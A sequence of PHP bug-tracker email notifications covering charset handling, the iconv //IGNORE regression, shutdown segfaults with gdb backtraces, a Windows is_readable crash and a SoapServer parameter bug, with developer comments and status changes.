Edit report at https://bugs.php.net/bug.php?id=40035&edit=1 ID: 40035 Updated by: yohg...@php.net Reported by:leonard-php-bugs at ottolander dot nl Summary:get_html_translation_table() ignores locale + [RFE] option to override charset -Status: Open +Status: Closed Type: Feature/Change Request -Package:Feature/Change Request +Package:*General Issues Operating System: irrelevant PHP Version:5.2.0 -Assigned To: +Assigned To:yohgaki Block user comment: N Private report: N New Comment: You may specify encoding with current get_html_translation_table() http://php.net/manual/en/function.get-html-translation-table.php Previous Comments: [2007-01-05 19:09:20] leonard-php-bugs at ottolander dot nl Looking at the source of php-5.2.0 I get the impression get_html_translation_table() actually ignores any locale settings: PHP_FUNCTION(get_html_translation_table): enum entity_charset charset = determine_charset(NULL TSRMLS_CC); static enum entity_charset determine_charset(char *charset_hint TSRMLS_DC): /* Guarantee default behaviour for backwards compatibility */ if (charset_hint == NULL) return cs_8859_1; If I am reading the above correctly determine_charset() will always return cs_8859_1 to get_html_translation_table() as the latter passes NULL as the charset_hint. So it's not only not possible to override the charset when returning the translation table (which might be useful when handling data that does not use the same charset as the system), it seems the function totally ignores the system locale. [2007-01-05 17:40:31] leonard-php-bugs at ottolander dot nl Description: get_html_translation_table() will only return the translation table for the default character set (iso-8859-1). Please add a third option (charset) to get_html_translation_table() to select the translation table for the character sets that are supported by html_entities(). (compare bug 18072) (Actually only tested against php-4.3.9 (CentOS 4) and php-4.3.2 (CentOS 3), but as there is no change in the docs I find it highly unlikely this option has been added in the mean time. If it has I apologize.) -- Edit this bug report at https://bugs.php.net/bug.php?id=40035&edit=1
Req #48174 [Opn->Fbk]: Memory tracking
Edit report at https://bugs.php.net/bug.php?id=48174&edit=1 ID: 48174 Updated by: yohg...@php.net Reported by:jandosul at gmail dot com Summary:Memory tracking -Status: Open +Status: Feedback Type: Feature/Change Request -Package:Feature/Change Request +Package:*General Issues Operating System: Windows XP PHP Version:5.3.0RC1 Block user comment: N Private report: N New Comment: > 1. There is missing one option to get size of variable. What do you mean size? You may use count() or strlen() > 2. Add context parameter to get_defined_vars cuz i cant get all defined variables in class context or add get_defined_objects? You may use get_class_vars()/get_object_vars() and use get_defined_vars(). Previous Comments: [2009-05-07 04:51:35] jandosul at gmail dot com Description: 1. There is missing one option to get size of variable. 2. Add context parameter to get_defined_vars cuz i cant get all defined variables in class context or add get_defined_objects? Thanx -- Edit this bug report at https://bugs.php.net/bug.php?id=48174&edit=1
Bug #61484 [Opn]: iconv //IGNORE option doesn't work anymore in PHP5.4/5.5
Edit report at https://bugs.php.net/bug.php?id=61484&edit=1
ID: 61484
Updated by: yohg...@php.net
Reported by:juzna dot cz at gmail dot com
-Summary:iconv //IGNORE option doesn't work anymore in PHP5.4
+Summary:iconv //IGNORE option doesn't work anymore in
PHP5.4/5.5
Status: Open
Type: Bug
Package:ICONV related
-Operating System: Ubuntu
+Operating System: Linux
-PHP Version:5.4.0
+PHP Version:5.5.0
Block user comment: N
Private report: N
New Comment:
Fedora19 x86_64's php
php > var_dump(iconv('UTF-8', 'UTF-16//IGNORE',
"\xc5\xbea\x01b\xed\xa0\x80c\xef\xbb\xbfd\xf4\x90\x80\x80e"));
Notice: iconv(): Detected an illegal character in input string in php shell
code
on line 1
bool(false)
php > echo phpversion();
5.5.0
Previous Comments:
[2012-11-02 13:45:19] valeriy-v at yandex dot ru
PHP Version 5.4.8 Centos
Linux 2.6.32-279.11.1.el6.x86_64 #1 SMP Tue Oct 16 15:57:10 UTC 2012 x86_64
[2012-09-13 08:09:50] alec at alec dot pl
The bug exists in PHP 5.3.10 and Ubuntu EGLIBC 2.15-0ubuntu10
[2012-08-28 16:55:32] hrach dot cz at gmail dot com
PHP 5.4.6
iconv implementation libiconv
iconv library version 1.11
works!
[2012-05-14 06:56:22] juzna dot cz at gmail dot com
The //ignore option is still broken as of the latest stable release (5.4.3).
>From reading some of the other bug reports on this, apparently new versions of
>iconv no longer support the //ignore option, and instead -c must be passed.
>So PHP needs to detect the //ignore option and in that case pass the "-c"
>option to iconv.
[2012-03-25 08:15:33] larue...@php.net
@rasmus yes, 5.3 and 5.4 behavior inconsistently, that is because icovn doesn't
accept //IGNORE anymore, and now return -1, then comes a bug(see #52211),
felipe
fixed this in 5.4, but didn't fix 5.3. so now, 5.3 and 5.4 behave
differently,
but the fundamental reason seems still is the glibc change their iconv
behavior.
thanks, :)
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
https://bugs.php.net/bug.php?id=61484
--
Edit this bug report at https://bugs.php.net/bug.php?id=61484&edit=1
Bug #65372 [PATCH]: Segfault in gc_zval_possible_root
Edit report at https://bugs.php.net/bug.php?id=65372&edit=1 ID: 65372 Patch added by: larue...@php.net Reported by:sreed at ontraport dot com Summary:Segfault in gc_zval_possible_root Status: Verified Type: Bug Package:Reproducible crash Operating System: Fedora PHP Version:5.4Git-2013-08-01 (Git) Block user comment: N Private report: N New Comment: The following patch has been added/updated: Patch Name: bug65372.patch Revision: 1375408763 URL: https://bugs.php.net/patch-display.php?bug=65372&patch=bug65372.patch&revision=1375408763 Previous Comments: [2013-08-01 19:18:26] sreed at ontraport dot com Description: PHP is segfaulting during shutdown in gc_zval_possible_root. This bug appears to have appeared in version 5.4: http://3v4l.org/qLqe3. Test script: --- https://gist.github.com/sreed-ontraport/6134324 Expected result: Script executes and PHP exits cleanly Actual result: -- 0x006a0032 in gc_zval_possible_root (zv=0x77fc5108) at /tmp/php5.4- 201308011830/Zend/zend_gc.c:143 143 GC_ZOBJ_CHECK_POSSIBLE_ROOT(zv); (gdb) bt #0 0x006a0032 in gc_zval_possible_root (zv=0x77fc5108) at /tmp/php5.4-201308011830/Zend/zend_gc.c:143 #1 0x006a1c47 in zend_object_std_dtor (object=0x77fc8970) at /tmp/php5.4-201308011830/Zend/zend_objects.c:54 #2 0x006a1c79 in zend_objects_free_object_storage (object=0x77fc8970) at /tmp/php5.4-201308011830/Zend/zend_objects.c:137 #3 0x006a74c8 in zend_objects_store_free_object_storage (objects=0xd8a0a0 ) at /tmp/php5.4- 201308011830/Zend/zend_objects_API.c:92 #4 0x0067396b in shutdown_executor () at /tmp/php5.4- 201308011830/Zend/zend_execute_API.c:295 #5 0x00681aa6 in zend_deactivate () at /tmp/php5.4- 201308011830/Zend/zend.c:938 #6 0x0062417d in php_request_shutdown (dummy=dummy@entry=0x0) at /tmp/php5.4-201308011830/main/main.c:1803 #7 0x00726094 in do_cli (argc=2, argv=0x7fffe148) at /tmp/php5.4- 201308011830/sapi/cli/php_cli.c:1172 #8 0x004255ca in main (argc=2, argv=0x7fffe148) at /tmp/php5.4- 201308011830/sapi/cli/php_cli.c:1365 -- Edit this bug report at https://bugs.php.net/bug.php?id=65372&edit=1
Bug->Req #61484 [Opn]: iconv //IGNORE option doesn't work anymore in PHP5.4/5.5
Edit report at https://bugs.php.net/bug.php?id=61484&edit=1
ID: 61484
Updated by: yohg...@php.net
Reported by:juzna dot cz at gmail dot com
Summary:iconv //IGNORE option doesn't work anymore in
PHP5.4/5.5
Status: Open
-Type: Bug
+Type: Feature/Change Request
Package:ICONV related
Operating System: Linux
PHP Version:5.5.0
Block user comment: N
Private report: N
New Comment:
iconv() returns FALSE when there is error. I haven't checked if out_buffer is
usable, though.
ext/iconv/iconv.c
err = php_iconv_string(in_buffer, (size_t)in_buffer_len,
&out_buffer, &out_len, out_charset, in_charset);
_php_iconv_show_error(err, out_charset, in_charset TSRMLS_CC);
if (err == PHP_ICONV_ERR_SUCCESS && out_buffer != NULL) {
RETVAL_STRINGL(out_buffer, out_len, 0);
} else {
if (out_buffer != NULL) {
efree(out_buffer);
}
RETURN_FALSE;
}
Previous Comments:
[2013-08-02 01:56:00] yohg...@php.net
Fedora19 x86_64's php
php > var_dump(iconv('UTF-8', 'UTF-16//IGNORE',
"\xc5\xbea\x01b\xed\xa0\x80c\xef\xbb\xbfd\xf4\x90\x80\x80e"));
Notice: iconv(): Detected an illegal character in input string in php shell
code
on line 1
bool(false)
php > echo phpversion();
5.5.0
[2012-11-02 13:45:19] valeriy-v at yandex dot ru
PHP Version 5.4.8 Centos
Linux 2.6.32-279.11.1.el6.x86_64 #1 SMP Tue Oct 16 15:57:10 UTC 2012 x86_64
[2012-09-13 08:09:50] alec at alec dot pl
The bug exists in PHP 5.3.10 and Ubuntu EGLIBC 2.15-0ubuntu10
[2012-08-28 16:55:32] hrach dot cz at gmail dot com
PHP 5.4.6
iconv implementation libiconv
iconv library version 1.11
works!
[2012-05-14 06:56:22] juzna dot cz at gmail dot com
The //ignore option is still broken as of the latest stable release (5.4.3).
>From reading some of the other bug reports on this, apparently new versions of
>iconv no longer support the //ignore option, and instead -c must be passed.
>So PHP needs to detect the //ignore option and in that case pass the "-c"
>option to iconv.
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
https://bugs.php.net/bug.php?id=61484
--
Edit this bug report at https://bugs.php.net/bug.php?id=61484&edit=1
Bug #65367 [Opn->Fbk]: Segmentation fault when mixing =& and =
Edit report at https://bugs.php.net/bug.php?id=65367&edit=1
ID: 65367
Updated by: larue...@php.net
Reported by:mbecc...@php.net
Summary:Segmentation fault when mixing =& and =
-Status: Open
+Status: Feedback
Type: Bug
Package:Reproducible crash
Operating System: Any
PHP Version:5.5.1
Block user comment: N
Private report: N
New Comment:
could you please verify the fix I attached at #65372?
thanks
Previous Comments:
[2013-08-02 01:11:26] larue...@php.net
Seems similar to #65372
[2013-07-31 11:13:15] mbecc...@php.net
I forgot to mention that you can easily install the necessary PEAR libraries in
the current dir without polluting the global PEAR installation with:
pear install -R . MDB2 MDB2#pgsql
[2013-07-31 11:10:29] mbecc...@php.net
Description:
While updating an old open source application to work with PHP 5.4 and 5.5, I
somehow managed to trigger a segmentation fault when removing an =& assignment.
I've been able to write a small reproduce script, which however still requires
MDB2 from PEAR (tested only with the pgsql driver).
Changing back a specific assignment to =& prevents the shutdown segfault from
happening.
The code works fine with 5.3 and crashes on 5.4+. Tested on Windows and Linux.
Test script:
---
loadModule('Datatype');
$GLOBALS['DB'] = $db; // Using =& $db doesn't crash
return $GLOBALS['DB'];
}
}
class B {
function __construct()
{
$this->db =& $this->getDb();
}
function &getDB()
{
return A::singleton();
}
}
$b = new B();
Expected result:
PHP Notice: Only variable references should be returned by reference in
foobar.php on line 25
Actual result:
--
#0 0x00812979 in gc_zval_possible_root (zv=0x7fffeef256e0) at
/root/compile/php-5.5.1/Zend/zend_gc.c:143
No locals.
#1 0x00801268 in zend_hash_destroy (ht=0x7fffeef2b4a0) at
/root/compile/php-5.5.1/Zend/zend_hash.c:560
p = 0x7fffeef2b860
q = 0x7fffeef2b7b0
#2 0x007f206b in _zval_dtor_func (zvalue=0x7fffeef2b470) at
/root/compile/php-5.5.1/Zend/zend_variables.c:45
No locals.
#3 0x007e3178 in _zval_dtor (zvalue=0x7fffeef2b470) at
/root/compile/php-5.5.1/Zend/zend_variables.h:35
No locals.
#4 i_zval_ptr_dtor (zval_ptr=0x7fffeef2b470) at
/root/compile/php-5.5.1/Zend/zend_execute.h:81
No locals.
#5 _zval_ptr_dtor (zval_ptr=) at
/root/compile/php-5.5.1/Zend/zend_execute_API.c:426
No locals.
#6 0x00801268 in zend_hash_destroy (ht=0x7fffeef28b10) at
/root/compile/php-5.5.1/Zend/zend_hash.c:560
p = 0x7fffeef2bfd0
q = 0x7fffeef2ba80
#7 0x007f206b in _zval_dtor_func (zvalue=0x7fffeef28778) at
/root/compile/php-5.5.1/Zend/zend_variables.c:45
No locals.
#8 0x007e3178 in _zval_dtor (zvalue=0x7fffeef28778) at
/root/compile/php-5.5.1/Zend/zend_variables.h:35
No locals.
#9 i_zval_ptr_dtor (zval_ptr=0x7fffeef28778) at
/root/compile/php-5.5.1/Zend/zend_execute.h:81
No locals.
#10 _zval_ptr_dtor (zval_ptr=) at
/root/compile/php-5.5.1/Zend/zend_execute_API.c:426
No locals.
#11 0x00801268 in zend_hash_destroy (ht=0x7fffeef2cbb8) at
/root/compile/php-5.5.1/Zend/zend_hash.c:560
p = 0x7fffeef2ce78
q = 0x7fffeef2ce20
#12 0x0081579c in zend_object_std_dtor (object=0x7fffeef27cb0) at
/root/compile/php-5.5.1/Zend/zend_objects.c:44
No locals.
#13 0x00815829 in zend_objects_free_object_storage
(object=0x7fffeef27cb0) at /root/compile/php-5.5.1/Zend/zend_objects.c:137
No locals.
#14 0x0081b476 in zend_objects_store_free_object_storage
(objects=0x1085120)
at /root/compile/php-5.5.1/Zend/zend_objects_API.c:92
obj =
i =
#15 0x007e37e3 in shutdown_executor () at
/root/compile/php-5.5.1/Zend/zend_execute_API.c:293
__orig_bailout = 0x7fffe460
__bailout = {{__jmpbuf = {17321344, -8869895244590628792, 0, 0, 0,
17333536, 8869894737283235912, -8869895235585851320},
__mask_was_saved = 0, __saved_mask = {__val = {9576849035021516823,
0, 8402366, 17291648, 17319392, 140737353913872,
140737353912280, 140737353913920, 140737353912280, 0, 17321080,
1, 0, 0, 8330270, 17320992
#16 0x007f3075 in zend_deactivate () at
/root/compile/php-5.5.1/Zend/zend.c:939
No locals.
#17 0x00791637 in php_request_shutdown (dummy=) at
/root/compile/php-5.5.1/main/main.c:1803
report_memleaks = 1 '\001'
--
Edit this bug report at https://bug
Req #61484 [Opn]: iconv //IGNORE option doesn't work anymore in PHP5.4/5.5
Edit report at https://bugs.php.net/bug.php?id=61484&edit=1
ID: 61484
Updated by: yohg...@php.net
Reported by:juzna dot cz at gmail dot com
Summary:iconv //IGNORE option doesn't work anymore in
PHP5.4/5.5
Status: Open
Type: Feature/Change Request
Package:ICONV related
Operating System: Linux
PHP Version:5.5.0
Block user comment: N
Private report: N
New Comment:
It seems usable.
$ php -r 'echo "\xc5\xbea\x01b\xed\xa0\x80c\xef\xbb\xbfd\xf4\x90\x80\x80e";' |
iconv -f 'UTF-8' -t 'UTF-16//IGNORE' | od -t x1
iconv: ä½ç½® 18 ã«ä¸æ£ãªå
¥åã·ã¼ã±ã³ã¹ãããã¾ã
000 ff fe 7e 01 61 00 01 00 62 00 63 00 ff fe 64 00
020 65 00
022
Previous Comments:
[2013-08-02 02:01:05] yohg...@php.net
iconv() returns FALSE when there is error. I haven't checked if out_buffer is
usable, though.
ext/iconv/iconv.c
err = php_iconv_string(in_buffer, (size_t)in_buffer_len,
&out_buffer, &out_len, out_charset, in_charset);
_php_iconv_show_error(err, out_charset, in_charset TSRMLS_CC);
if (err == PHP_ICONV_ERR_SUCCESS && out_buffer != NULL) {
RETVAL_STRINGL(out_buffer, out_len, 0);
} else {
if (out_buffer != NULL) {
efree(out_buffer);
}
RETURN_FALSE;
}
[2013-08-02 01:56:00] yohg...@php.net
Fedora19 x86_64's php
php > var_dump(iconv('UTF-8', 'UTF-16//IGNORE',
"\xc5\xbea\x01b\xed\xa0\x80c\xef\xbb\xbfd\xf4\x90\x80\x80e"));
Notice: iconv(): Detected an illegal character in input string in php shell
code
on line 1
bool(false)
php > echo phpversion();
5.5.0
[2012-11-02 13:45:19] valeriy-v at yandex dot ru
PHP Version 5.4.8 Centos
Linux 2.6.32-279.11.1.el6.x86_64 #1 SMP Tue Oct 16 15:57:10 UTC 2012 x86_64
[2012-09-13 08:09:50] alec at alec dot pl
The bug exists in PHP 5.3.10 and Ubuntu EGLIBC 2.15-0ubuntu10
[2012-08-28 16:55:32] hrach dot cz at gmail dot com
PHP 5.4.6
iconv implementation libiconv
iconv library version 1.11
works!
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
https://bugs.php.net/bug.php?id=61484
--
Edit this bug report at https://bugs.php.net/bug.php?id=61484&edit=1
Bug #61339 [Opn->Csd]: is_readable() causes crash in special cases
Edit report at https://bugs.php.net/bug.php?id=61339&edit=1 ID: 61339 Updated by: yohg...@php.net Reported by:ziegenberg at web dot de Summary:is_readable() causes crash in special cases -Status: Open +Status: Closed Type: Bug Package:Filesystem function related Operating System: Windows 7 Pro 64bit PHP Version:5.3.10 -Assigned To: +Assigned To:yohgaki Block user comment: N Private report: N New Comment: >I tested all the current Windows VC9 TS snapshots. > >Results: >5.3 -> error still present, also when using include() instead of is_readable(). >5.4 -> okay, no error. >Trunk (5.5-dev?) -> okay, no error. Closing. 5.3 is security fix only now. Previous Comments: [2012-03-11 08:36:58] ziegenberg at web dot de I could reproduce the problem on Windows XP SP3 and get debug information from there: Type of Analysis Performed Crash Analysis Machine Name VIRTUALXP-55431 Operating System Windows XP Service Pack 3 Number Of Processors 1 Process ID 3828 Process Image C:\apache2\bin\httpd.exe System Up-Time 00:23:00 Process Up-Time 00:00:22 Thread 29 - System ID 1664 Entry point msvcr100!_endthreadex+6a Create time 11.03.2012 09:28:48 Time spent in user mode 0 Days 0:0:0.30 Time spent in kernel mode 0 Days 0:0:0.10 Function Arg 1 Arg 2 Arg 3 Source php5ts!lex_scan+29b0 01b1e410 011e8978 011e8978 php5ts!zend_register_auto_global+ae 01b1e408 011e8978 02670cd8 php5ts!zend_iterator_unwrap+584 01b1e524 0001 ntdll!RtlIntegerToUnicode+11d 00099414 7c9120f5 01b1e90c kernel32!BasepInitializeFindFileHandle+4b 05f4 01b1ebac kernel32!FindFirstFileExW+49b 7c91e920 7c920228 0x01b1eafc 01b1e944 0126fd40 01b1eb01 ntdll!RtlCreateUnicodeString+1c 0003 00924881 PHP5TS!LEX_SCAN+29B0WARNING - DebugDiag was not able to locate debug symbols for php5ts.dll, so the information below may be incomplete. In httpd__PID__3828__Date__03_11_2012__Time_09_29_09AM__843__Second_Chance_Exception_C005.dmp the assembly instruction at php5ts!lex_scan+29b0 in C:\PHP\php5ts.dll from The PHP Group has caused an access violation exception (0xC005) when trying to read from memory location 0x027a2000 on thread 29 Module Information Image Name: C:\PHP\php5ts.dll Symbol Type: Export Base address: 0x0084 Time Stamp: Thu Feb 02 20:36:49 2012 Checksum: 0x005a3fb6 Comments: COM DLL: False Company Name: The PHP Group ISAPIExtension: False File Description: PHP Script Interpreter ISAPIFilter: False File Version: 5.3.10 Managed DLL: False Internal Name: PHP Script Interpreter VB DLL: False Legal Copyright: Copyright © 1997-2010 The PHP Group Loaded Image Name: php5ts.dll Legal Trademarks: PHP Mapped Image Name: Original filename: php5ts.dll Module name: php5ts Private Build: Single Threaded: False Product Name: PHP Module Size: 5,77 MBytes Product Version: 5.3.10 Symbol File Name: php5ts.dll Special Build: & [2012-03-10 19:15:02] paj...@php.net hi, Well, without a script (or set of scripts), a sample path you use (aka the string itself like "c:\foo\bar\somescrpt.php") or anything like that, there is no chance for us to have a remote idea about what could be the issue. [2012-03-10 18:57:29] ziegenberg at web dot de It's not possible to ue the Debug Diagnostic Tools on Windows 7 (you can install it but only use it for analysis). The newer version 1.2 doesn't run on non-English systems (known problem). A workaround helped to fix the first errors with the installation, but there are other errors that don't allow an installation. For two hours I tried everything to get it working, but the only result I get are innumerable error pop ups. I have to give it up now, sorry. [2012-03-10 16:54:15] paj...@php.net Thank you for this bug report. To properly diagnose the problem, we need a backtrace to see what is happening behind the scenes. To find out how to generate a backtrace, please read http://bugs.php.net/bugs-generating-backtrace.php for *NIX and http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32 Once you have generated a backtrace, please submit it to this bug report and change the status back to "Open". Thank you for helping us make PHP better. [2012-03-10 12:06:02] ziegenberg at web dot de Here is a crash report I found,
Bug #49155 [Opn->Fbk]: SoapServer passes parameters as null if one has special wsdl definition
Edit report at https://bugs.php.net/bug.php?id=49155&edit=1 ID: 49155 Updated by: yohg...@php.net Reported by:jeroen at asystance dot nl Summary:SoapServer passes parameters as null if one has special wsdl definition -Status: Open +Status: Feedback Type: Bug Package:SOAP related Operating System: linux PHP Version:5.3.3 Block user comment: N Private report: N New Comment: Please try using this snapshot: http://snaps.php.net/php5.4-latest.tar.gz For Windows: http://windows.php.net/snapshots/ I see several fixes in soap module. Could you try 5.4? Previous Comments: [2012-04-26 08:30:22] nicolodien at gmx dot de Hi everybody I just want to confirm that this is still an issue! I've spent more than 3 hours debugging until I finally found this bug description giving me a solution. Please DO fix this problem... Thanks [2011-02-11 12:25:22] jeroen at asystance dot nl Just wanted to verify that this bug is still present in 5.3.3 [2009-08-05 12:22:29] jeroen at asystance dot nl Sorry for posting yet another comment, but it gets even weirder: This will not work, because in the first part, the name==element However, _will_ work! Notice that now both parts are specified with name==element! My conclusion so far is that either _all_ of the parts need to be specified with the name==element pattern, or _none_. If one of the parts uses the pattern, the rest needs to conform, or else the SoapServer passes them as null. I sure hope this helps! I've been struggling with this for a while now. [2009-08-05 11:53:25] jeroen at asystance dot nl I have been able to further pin down the bug. The 2nd parameter is passed as null if, in the definition, the 1st element's name attribute is the same as the element attribute! Here the 1st parameter works, but the second is always null! Now both parameters work. More generally, if one is specified in this way (name and element are the same), _every other parameter_ is passed as null: Here, p1 and p2 will be null, and customerId will work. Happy bugfixing! :) [2009-08-04 14:47:58] jeroen at asystance dot nl Description: I have a WSDL with three types: "customerId", "customer" and "order". Calling a function with just a customer works, but a calling a function with parameters (customerId, customer) does not - the customer parameter is always null. Another function, specified as (customerId, order), always works, so the problem is not using more than one parameter (which could be a problem since I'm using document/literal, and having more than one message part does not conform to WS-I). I have also tried switching the parameters and lots of other things but I cannot find the underlying problem. Reproduce code: --- http://jayvee.nl/soaptest.tar This includes a php file that runs a client as well as a server - so be sure to change the service URL in interface.wsdl before you run this. Expected result: When SoapServer calls function addCustomer ( $p1, $p2 ), $p2 should be a stdClass object (or array) Actual result: -- $p2 is null -- Edit this bug report at https://bugs.php.net/bug.php?id=49155&edit=1
